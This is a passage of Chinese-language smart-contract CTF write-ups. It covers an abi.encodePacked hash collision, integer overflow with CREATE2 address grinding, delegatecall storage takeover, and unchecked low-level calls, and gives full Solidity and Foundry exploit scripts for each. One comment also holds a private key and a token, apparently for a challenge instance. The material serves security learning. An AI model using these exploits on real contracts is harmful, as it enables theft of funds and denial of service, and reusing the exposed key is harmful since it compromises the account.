// Associate Pigeons
pigeon.assignPigeon("Numbuh", "4", address(0x004), 1, 0); // 0xa5c9d4ef5b24cb6ff388731d9d4c137ba330d7fe79015e4959372f32fdf77791
pigeon.assignPigeon("Numbuh", "3", address(0x003), 1, 10e18); //0xa110a037bba8f4590b8521d98f7885200af3356e7b4d9e4514843ffa4268f8c0

// Senior Pigeons
pigeon.assignPigeon("Numbuh", "2", address(0x002), 2, 0); // 0xf55eb91c4569e79ebadf94351a230d4f73cf0ecd7628a1903208a1acb1ed2545
pigeon.assignPigeon("Numbuh", "1", address(0x001), 2, 15e18); //0x0e34ac47b10f9f17721304f64c880a18cc4912d616027d5e83beb11eaf74f925
}
//六个鸽子,

function airdrop() external {
require(!isAirdrop, "You have already airdropped!");
isAirdrop = true;
token.transfer(msg.sender, 4e18);
}

function check() external {
bool hasEnoughTokens = token.balanceOf(msg.sender) >= 34e18; //足够代币
// 检查 Pigeon 合约中的代币余额是否为 0
bool pigeonBalanceIsZero = token.balanceOf(address(pigeon)) == 0;

solved = hasEnoughTokens && pigeonBalanceIsZero;
}

function isSolved() external view returns (bool) {
return solved;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./lib/ERC20.sol";

contract PigeonToken is ERC20 {
constructor(string memory name, string memory symbol, address owner) ERC20(name, symbol) {
_mint(owner, 34e18);
}
}


其中这个题目主要考察的是abi.ecodePacked的漏洞点

其中keccak(abi.encodePacked(“wang”,”jianfegng)) 和 keccak(abi.encodePacked(“wangjian”,”feng)) 是一样的 我们可以利用这个漏洞点来对鸽子所携带的资金进行一个窃取,

其中我的主要思路是: 在一开始伪造一个和15 ether 相同鸽子的bytes32 然后因为鸽子飞走的函数存在一个等级的漏洞所以我们可以直接窃取这15 ether 其中task函数可以被我们无限刷取功勋,因为 hasBeenCollected[person] = true;这个mapping只是变成正了但是没有回滚所以我们可以无限刷取功勋,然后再利用晋升函数的newcode 进而成为其他带有代币的鸽子的codename然后我们就可以按照第一个挨个窃取

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.0;

import {Pigeon} from "./Pigeon.sol";
import {PigeonToken} from "./PigeonToken.sol";
import {Setup} from "./Setup.sol";
import {console2} from "forge-std/console2.sol";

contract Attack {
Pigeon public pigeon; //0x40a2c4445c7f5f4e4c7c7d2827db05b3238c0d49
PigeonToken public token; //0x36e29f14570ccc94a0f4cf0f325c644e9af5cc8b
Setup public setup;
address eoa = 0x58b49f84D196bcB30C45AB8d2Db343598bC0fB1f;
constructor() {
setup = Setup(0x162832130dC92A86839BA249113C89d607271EA8);
pigeon = Pigeon(setup.pigeon());
token = PigeonToken(setup.token());
}

bytes32 NUm1 = 0x0e34ac47b10f9f17721304f64c880a18cc4912d616027d5e83beb11eaf74f925;
bytes32 NUm2 = 0xf55eb91c4569e79ebadf94351a230d4f73cf0ecd7628a1903208a1acb1ed2545;
bytes32 NUm3 = 0xa110a037bba8f4590b8521d98f7885200af3356e7b4d9e4514843ffa4268f8c0;
bytes32 NUm4 = 0xa5c9d4ef5b24cb6ff388731d9d4c137ba330d7fe79015e4959372f32fdf77791;
bytes32 NUm5 = 0x57736ab320740b0130b3b7eb68b9bfe7e656bf5bdde03903ac9930ab830e48df;
bytes32 NUm6 = 0x364f98c531ea17218ff9dda330f09255297b6406571ed44903382c6f328b6824;
function attack() external {
setup.airdrop();
bytes32 wang1 = pigeon.becomeAPigeon("Num", "buh1");
console2.logBytes32(wang1);
token.approve(address(this), type(uint256).max);
token.transferFrom(address(this), eoa, 4 ether);
pigeon.flyAway(0x0e34ac47b10f9f17721304f64c880a18cc4912d616027d5e83beb11eaf74f925, 0); //窃取15ether
pigeon.task(wang1, eoa, 4 ether);
pigeon.task(wang1, eoa, 4 ether);
pigeon.promotion(wang1, 1, "Num", "buh5");
bytes32 wang2 = keccak256(abi.encodePacked("Num", "buh5"));

pigeon.flyAway(wang2, 1);

pigeon.task(wang2, eoa, 4 ether);
pigeon.task(wang2, eoa, 4 ether);
pigeon.task(wang2, eoa, 4 ether);
pigeon.task(wang2, eoa, 4 ether);
pigeon.promotion(wang2, 2, "Num", "buh3");
bytes32 wang3 = keccak256(abi.encodePacked("Num", "buh3"));
pigeon.flyAway(wang3, 2);
uint256 token3 = token.balanceOf(address(this));
console2.log(token3);
}

function attack2() external {
token.transferFrom(0x58b49f84D196bcB30C45AB8d2Db343598bC0fB1f, address(this), 4 ether);
setup.check();
setup.isSolved();
require(setup.isSolved() == true, "no");
}
}
//Address: 0x507509D8c4Cc0F08c04e628a61cb55B00A9577c5
//rivate key: 0xcb77e579685fd67228e463f95b2517643b7f3efb4334fa3e0c3361c2b964a3b9
//v4.local.Wlb2FKrNklQ1r7iA-Bx6octBLFHV3Ck0Ltwsq5xhqCL0m-2-trZKwP_mWyV3a_CfbbcWXO1cTWHVxh3TP8ypny20txV_7wYnPkvKbDKMSen3aTBKZgfh9MV1t-IcembR7VsxFFFPOpOjxAn-p4UMUzTUoXtndTolS2Kognu-0CHoCA.U2V0dXA
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.0;

import {Attack} from "../src/Attack.sol";
import {Script} from "forge-std/Script.sol";
import {PigeonToken} from "../src/PigeonToken.sol";
import "../src/lib/ERC20.sol";
import {Setup} from "../src/Setup.sol";

contract AttackScript is Script {
ERC20 public token;
Setup public setup;

function run() public {
vm.startBroadcast();
setup = Setup(0x162832130dC92A86839BA249113C89d607271EA8);
token = ERC20(setup.token());
Attack attack = new Attack();

attack.attack();
token.approve(address(attack), type(uint256).max);
attack.attack2();
vm.stopBroadcast();
}
}

其中这里需要注意的是一个授权问题,我们需要在脚本的时候直接对我们攻击合约进行一个授权,这样才能让让我们之前存放Eoa的代币取回来,不能在攻击合约里面授权 不能!!!!。

其中这个题目的原先所有的回滚都是没有注释的。所以如果下次的题目还是没有注释我们可以直接先弄到本地来打。

8地址预测

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.0;

//0x5FbDB2315678afecb367f032d93F642f64180aa3
contract Challenge {
mapping(address => uint256) public balance; //查看余额
bool public solve;

constructor() {}

function Get() public {
balance[msg.sender] = 50;
}

function Transfer(address to, uint256 amount) public {
require(amount > 0, "Man!");
require(balance[msg.sender] > 0, "What can I say");
require(balance[msg.sender] - amount > 0, "Mamba out!");
require(
uint160(msg.sender) % (16 * 16) == 239,
"Sometimes I ask myself, who am i?"
);
balance[msg.sender] -= amount;
balance[to] += amount;
}

function check() public {
require(balance[msg.sender] == 114514);
solve = true;
}

function isSolved() public view returns (bool) {
return solve;
}
}

看到这个题目,先看合约版本,先看合约版本,先看合约版本,然后再做

看合约版本不是0.8后,就要关注是否有溢出漏洞,然后在transfer函数呢里的第二个检测确实是溢出漏洞,(一开始我没有去关注这个合约版本,然后就是准备用薅羊毛漏洞去做,虽然是可以做,但是不如这个溢出漏洞简单)

其中第三个要求就是想让我们得到一个需要满足这个要求的地址,所以这里就是需要一个create2的预测地址的方法

create2 预测地址方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.7.0;

import {Attack} from "../src/Hack.sol";

contract Deployer {
function computeSalt(address target) public view returns (bytes32) {
for (uint256 i = 0; i < 1000000; i++) {
bytes32 salt = bytes32(i);
address predictedAddress = predictAddress(salt, target);
if (uint256(uint160(predictedAddress)) % (16 * 16) == 239) {
return salt;
}
}
revert("No suitable salt found within the limit");
}

function predictAddress(
bytes32 salt,
address target
) public view returns (address) {
bytes memory bytecode = abi.encodePacked(
type(Attack).creationCode,
abi.encode(target)
);

bytes32 hash = keccak256(
abi.encodePacked(
bytes1(0xff),
address(this), // 部署者地址
salt,
keccak256(bytecode)
)
);

return address(uint160(uint256(hash)));
}

function deployer(bytes32 salt, address target) public returns (address) {
Attack attack = new Attack{salt: salt}(target); // 使用 CREATE2 部署
return address(attack);
}
}

其中上面可上面这个合约就是可以完全预测一个合约的地址

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.0;

import {Challenge} from "./1.sol";

contract Attack {
Challenge challenge;

constructor(address _challengeAddress) {
challenge = Challenge(_challengeAddress);
}

function attack() public {
challenge.Get();

uint256 overflowAmount = 114514;
//其中第一个地址是自己可以调用的ui,这样才能后面调用题里面的solve函数
challenge.Transfer(
0xBA5FE44099e48266E4B3725F800b300Ec70d5f12,
overflowAmount
);
}
}

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.7.0;
import {Script, console} from "forge-std/Script.sol";
import {Attack} from "../src/Hack.sol";
import {Deployer} from "../src/2.sol";

contract ExecuteAttack is Script {
function run() external {
vm.startBroadcast();
Deployer deployer = new Deployer();
vm.stopBroadcast();
vm.startBroadcast();
address target = 0xB91bB4644930252d2eaFE24e1C1Aa6E41228a140;
bytes32 salt = deployer.computeSalt(target);

console.log("salt:", uint256(salt));
address hack_addr = deployer.deployer(salt, target);
// 调用攻击函数
Attack(hack_addr).attack();
console.log("Attack executed.");

vm.stopBroadcast();
}
}

其中在脚本里面我们不需要再写一个 Attack attack = new Attack{salt: salt}(target); 如果重复写这个会返回一个

image-20241021194329545

这样的错误

按照正确的脚本部署并且广播后,我们就可以用被传入代币的ui就可以调用合约里面的solve函数,这样flag就出来了

薅羊毛解法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.7.0;
import {Challenge} from "./1.sol";

contract Attack {
Challenge challenge;

constructor(address addr) {
challenge = Challenge(addr);
}

function attack() external {
if (
challenge.balance(0xBA5FE44099e48266E4B3725F800b300Ec70d5f12) <
114500
) {
challenge.Get();
challenge.Transfer(0xBA5FE44099e48266E4B3725F800b300Ec70d5f12, 49);
} else if (
challenge.balance(0xBA5FE44099e48266E4B3725F800b300Ec70d5f12) <
114514 &&
challenge.balance(0xBA5FE44099e48266E4B3725F800b300Ec70d5f12) <
114500
) {
challenge.Get();
challenge.Transfer(0xBA5FE44099e48266E4B3725F800b300Ec70d5f12, 1);
}
}
}

其中薅羊毛比溢出麻烦不少,但是如果这个合约的题目是0.8版本,呢么这个题目就肯定需要薅羊毛来解决了

9delegatecall漏洞

原理

delegatecall 的基本原理

  • 功能delegatecall 允许一个合约(A)调用另一个合约(B)的函数,但执行时保持合约A的上下文(存储、msg.sendermsg.value 等)
  • 与普通 call 的区别
    • call:切换上下文,被调用合约(B)在自己的存储中执行。
    • delegatecall:被调用合约(B)的代码在调用合约(A)的上下文中运行。

漏洞的核心点

  • 存储布局的不一样,如果A合约的槽位与B合约槽位不一样,如果调用B函数可能会覆盖A合约相对应的槽位的值;
  • 未验证调用目标:允许调用任意或不可信的合约导致恶意代码在A合约的上下文中进行

其中以一道ctf题为例子;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.0;

contract EkkoTimeRewind {
address public owner; //0
string public constant saying = "U can do Anything in VNCTF2025";
bytes4 constant setZDriveownerSignature = bytes4(keccak256("setZDriveowner(uint256,uint256)"));
address public rewindBeforeTime; //1
address public rewindAfterTime; //2
uint256 public Time0; //3
uint256 public Time1; //4
bool private isSetZDriveownerCalled = false;
bool private isSetTimeCalled = false;
address public zDriveContractAddress; //5

constructor(address _zDriveContractAddress) {
zDriveContractAddress = _zDriveContractAddress;
rewindBeforeTime = address(this);
rewindAfterTime = address(this);
owner = msg.sender;
}

function setRewindBeforeTime(uint256 _Time0) public onlyWhitelisted {
require(!isSetTimeCalled, "setRewindBeforeTime can only be called once");
isSetTimeCalled = true;
Time0 = _Time0;
}

function setRewindAfterTime(uint256 _Time1) public onlyWhitelisted {
require(!isSetTimeCalled, "setRewindAfterTime can only be called once");
isSetTimeCalled = true;
Time1 = _Time1;
}

function isSolved() public view returns (bool) {
return (Time0 != 0 && Time1 != 0 && Time0 > Time1 + 4);
}

function setZDriveowner(bytes[] calldata data) public {
require(!isSetZDriveownerCalled, "multicallSetZDriveowner has already been called once");

for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (!isSetZDriveownerCalled && selector == setZDriveownerSignature) {
(bool success,) = zDriveContractAddress.delegatecall(data[i]); // delegatecall漏洞
require(success, "Error while delegating call to setZDriveowner");
} else {
revert("Invalid selector");
}
}

isSetZDriveownerCalled = true;
}

function setTime(bytes[] calldata data) public onlyWhitelisted {
bytes4 rewindBeforeTimeSignature = bytes4(keccak256("setRewindBeforeTime(uint256)"));
bytes4 rewindAfterTimeSignature = bytes4(keccak256("setRewindAfterTime(uint256)"));
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (!isSetTimeCalled && selector == rewindBeforeTimeSignature) {
(bool success,) = rewindBeforeTime.delegatecall(data[i]);
require(success, "Error while delegating call for rewindBeforeTime");
} else if (!isSetTimeCalled && selector == rewindAfterTimeSignature) {
(bool success,) = rewindAfterTime.delegatecall(data[i]);
require(success, "Error while delegating call for rewindAfterTime");
} else {
revert("Invalid selector");
}
}
}

modifier onlyWhitelisted() {
require(msg.sender == owner, "Not whitelisted");
_;
}
}



// SPDX-License-Identifier: GPL-3.0
// EVM version istanbul

pragma solidity ^0.8.0;

contract ZDriveContract {
uint256 public ZDriveowner;
uint256 public Description;
uint256 private callCounter = 0;

event UsefulEvent(string message);

function setZDriveowner(uint256 _ZDriveowner, uint256 _Description) public {
ZDriveowner = _ZDriveowner;
Description = _Description;
callCounter++;
emit UsefulEvent("Happy Chinese New Year!");
}

function getSomeConstantInfo() public pure returns (string memory) {
return "VNCTF2025";
}
}


其中这到ctf题目是考察delegatecall的,首先先把主合约的每个槽位值给标注出来,好进行下一步的操作

利用 setZDriveowner 里的 delegatecall,修改 owner,获得合约控制权

利用 setTime 里的 delegatecall,修改 Time0Time1,完成 isSolved() 条件

先完成第一步

1
2
3
4
5
6
7
8
bytes[] memory data = new bytes[](1);
data[0] = abi.encodeWithSignature(
"setZDriveowner(uint256,uint256)", uint256(uint160(address(msg.sender))), uint256(uint160(address(hack)))
);//不能是第一个不能是attack,需要时msg.sender

target.setZDriveowner(data);
require(target.owner() == msg.sender, "first-failed");

这样我们就有控制权了

第二步

1
2
3
4
bytes[] memory data2 = new bytes[](1);
data2[0] = abi.encodeWithSignature("setRewindBeforeTime(uint256)", 10);
target.setTime(data2);

这样就可以了

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.0;

import "./ZDriveContract.sol";
import "./EkkoTimeRewind.sol";

contract Attack {
address public owner;
address public rewindBeforeTime;
address public rewindAfterTime;
uint256 public Time0;
uint256 public Time1;

function setRewindBeforeTime(uint256 _Time0) public {
Time0 = _Time0;
Time1 = 5;
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
import {Attack} from "../src/Attack.sol";
import {EkkoTimeRewind} from "../src/EkkoTimeRewind.sol";

contract Hack is Script {
function run() external {
vm.startBroadcast();
Attack hack = new Attack();
EkkoTimeRewind target = EkkoTimeRewind(0xDcfB7f5F176AC5f78aB4CA9d7e0EA6676E87b6E7);

bytes[] memory data = new bytes[](1);
data[0] = abi.encodeWithSignature(
"setZDriveowner(uint256,uint256)", uint256(uint160(address(msg.sender))), uint256(uint160(address(hack)))
);

target.setZDriveowner(data);
require(target.owner() == msg.sender, "first-failed");

bytes[] memory data2 = new bytes[](1);
data2[0] = abi.encodeWithSignature("setRewindBeforeTime(uint256)", 10);
target.setTime(data2);

console.log(target.Time0());
console.log(target.Time1());
}
}

这样就可以了

10 未检查的低级调用

低级调用

以太坊的低级调用包括 call()delegatecall()staticcall(),和send()。这些函数与 Solidity 其他函数不同,当出现异常时,它并不会向上层传递,也不会导致交易完全回滚;它只会返回一个布尔值 false ,传递调用失败的信息。因此,如果未检查低级函数调用的返回值,则无论低级调用失败与否,上层函数的代码会继续运行。对于低级调用更多的内容,请阅读 WTF Solidity 极简教程第20-23讲

最容易出错的是send():一些合约使用 send() 发送 ETH,但是 send() 限制 gas 要低于 2300,否则会失败。当目标地址的回调函数比较复杂时,花费的 gas 将高于 2300,从而导致 send() 失败。如果此时在上层函数没有检查返回值的话,交易继续执行,就会出现意想不到的问题。2016年,有一款叫 King of Ether 的链游,因为这个漏洞导致退款无法正常发送(验尸报告)。

img

漏洞例子

银行合约

这个合约是在S01 重入攻击教程中的银行合约基础上修改而成。它包含1个状态变量balanceOf记录所有用户的以太坊余额;并且包含3个函数:

  • deposit():存款函数,将ETH存入银行合约,并更新用户的余额。
  • withdraw():提款函数,将调用者的余额转给它。具体步骤和上面故事中一样:查询余额,更新余额,转账。注意:这个函数没有检查 send() 的返回值,提款失败但余额会清零!
  • getBalance():获取银行合约里的ETH余额。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
contract UncheckedBank {
mapping (address => uint256) public balanceOf; // 余额mapping

// 存入ether,并更新余额
function deposit() external payable {
balanceOf[msg.sender] += msg.value;
}

// 提取msg.sender的全部ether
function withdraw() external {
// 获取余额
uint256 balance = balanceOf[msg.sender];
require(balance > 0, "Insufficient balance");
balanceOf[msg.sender] = 0;
// Unchecked low-level call
bool success = payable(msg.sender).send(balance);
}

// 获取银行合约的余额
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}

攻击合约

我们构造了一个攻击合约,它刻画了一个倒霉的储户,取款失败但是银行余额清零:合约回调函数 receive() 中的 revert() 将回滚交易,因此它无法接收 ETH;但是提款函数 withdraw() 却能正常调用,清空余额。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
contract Attack {
UncheckedBank public bank; // Bank合约地址

// 初始化Bank合约地址
constructor(UncheckedBank _bank) {
bank = _bank;
}

// 回调函数,转账ETH时会失败
receive() external payable {
revert();
}

// 存款函数,调用时 msg.value 设为存款数量
function deposit() external payable {
bank.deposit{value: msg.value}();
}

// 取款函数,虽然调用成功,但实际上取款失败
function withdraw() external payable {
bank.withdraw();
}

// 获取本合约的余额
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}

预防办法

你可以使用以下几种方法来预防未检查低级调用的漏洞:

  1. 检查低级调用的返回值,在上面的银行合约中,我们可以改正 withdraw()

    1
    2
    bool success = payable(msg.sender).send(balance);
    require(success, "Failed Sending ETH!")
  2. 合约转账ETH时,使用 call(),并做好重入保护。

  3. 使用OpenZeppelinAddress库,它将检查返回值的低级调用封装好了。

靶场题目也有一个关于未检查的低级调用

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
//在owner调用withdraw()时拒绝提取资金(合约仍有资金,并且交易的gas少于1M)。

contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint256 timeLastWithdrawn;
mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances

function setWithdrawPartner(address _partner) public {
partner = _partner;
}

// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint256 amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value: amountToSend}(""); //未检查的低级调用
//如果我们仅仅用一个revert 只是不能利用call这个低级调用但是不会影响接下来的代码执行
// 所以我们想要不执行下面的代码还有一种方式就是直接耗光gas不执行接下来的代码
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}

// allow deposit of funds
receive() external payable {}

// convenience function
function contractBalance() public view returns (uint256) {
return address(this).balance;
}
}

一眼就是未检查低级调用然后回滚,但是只是在revert函数里面加一个简单的回滚是不行的,只是不能用call了但是下面代码还是可以运行的所以,如果想不执行下面的代码直接在revert函数里面耗光gas直接不执行下面的代码

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.0;

import "./Denial.sol";

contract Attack {
Denial public target;

constructor(address _target) {
target = Denial(payable(_target));
target.setWithdrawPartner(address(this));
target.withdraw();
}

receive() external payable {
assembly {
invalid()
}
}
}